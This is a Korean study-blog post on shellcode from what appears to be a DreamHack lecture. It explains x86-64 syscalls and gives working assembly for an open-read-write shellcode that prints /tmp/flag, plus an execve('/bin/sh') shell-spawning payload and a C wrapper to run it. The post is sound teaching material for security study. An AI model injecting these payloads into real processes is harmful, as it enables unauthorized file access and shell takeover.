정보보안/DreamHack

[Lecture]Shellcode(System)

b1ackhand 2022. 1. 26. 23:27

Shellcode 란?

셸을 획득하기 위한 목적으로 작성된 어셈블리 코드

 

orw(open-read-write) 셸코드 : 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드

 

char arr[0x30];

int fd = open("~~", RD_ONLY, NULL);

"""
syscall : open
rax : 0x02
arg0(rdi) const char *filename
arg1(rsi) int flags
arg2(rdx) umode_t mode
"""

read(fd, buf, 0x30); 

"""
syscall : read
rax : 0x00
arg0(rdi) unsigned int fd
arg1(rsi) char *buf
arg2(rdx) size_t count
"""

write(1, buf, 0x30);

"""
syscall : write
rax : 0x01
arg0(rdi) unsigned int fd
arg1(rsi) const char *buf
arg2(rdx) size_t count
"""

open, read, write 함수가 구현 되기 위해서 알아야할 syscall들

 

push 0x67
mov rax, 0x616c662f706d742f //강의에서는 예시로 /tmp/flag를 바꿔서 스택에 입력
push rax
mov rdi, rsp // rdi = "/tmp/flag"
xor rsi, rsi // rsi = 0
xor rdx, rdx // rdx = 0
mov rax, 2 // rax = 2
syscall

"""
syscall : open
rax : 0x02
arg0(rdi) const char *filename
arg1(rsi) int flags
arg2(rdx) umode_t mode
"""

open 구현코드

 

fd(File Descriptor, 파일 서술자) UNIX계열 운영체제에서 파일 접근 가상의 접근 제어자.

 

syscall의 반환자는 rax에 저장

따라서 위의 open호출 후 불러온 값이 fd 가 rax에 저장 된다.

 

mov rdi, rax //rdi = fd
mov rsi, rsp
sub rsi, 0x30 //rsi = rsp-0x30 buf
mov rdx, 0x30 //rdx = 0x30 len
mov rax, 0x0 //rax = 0 
syscall

"""
syscall : read
rax : 0x00
arg0(rdi) unsigned int fd
arg1(rsi) char *buf
arg2(rdx) size_t count
"""

read 구현코드

 

rsi 는 파일에서 읽은 데이터를 저장할 주소

rdx 는 파일에서 읽어낼 데이터의 길이

 

mov rdi, 1// rdi = 1  fd = stdout
mov rax, 0x1// rax = 1
syscall

"""
syscall : write
rax : 0x01
arg0(rdi) unsigned int fd
arg1(rsi) const char *buf
arg2(rdx) size_t count
"""

위에서 작성한 셸코드는 ELF형식이 아니면 리눅스에서 실행될 수 없어 gcc컴파일을 해야된다.

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();

int main() { run_sh(); }

다음과 같은 방식인것 같다.

 

실습도 해보았다. 뒷내용은 gdb를 배운 다음에 해볼 수 있을 것같다.

 

 

execve 셸코드 : 임의의 프로그램을 실행하는 셸코드

 

//execve(“/bin/sh”, null, null)
mov rax, 0x68732f6e69622f // rax = "/bin/sh\x00"
push rax
mov rdi, rsp //rdi = "/bin/sh\x00"
xor rsi, rsi //rsi = NULL
xor rdx, rdx //rdx = NULL
mov rax, 0x3b //rax = sys_execve
syscall 

"""
syscall : execve
rax : 0x3b
arg0(rdi) const char *filename
arg1(rsi) const char *const *argv
arg2(rdx) const char *const *envp
"""

위와 같은 방식으로 셸코드를 짤 수 있다.

실제로 셸이 실행 된 모습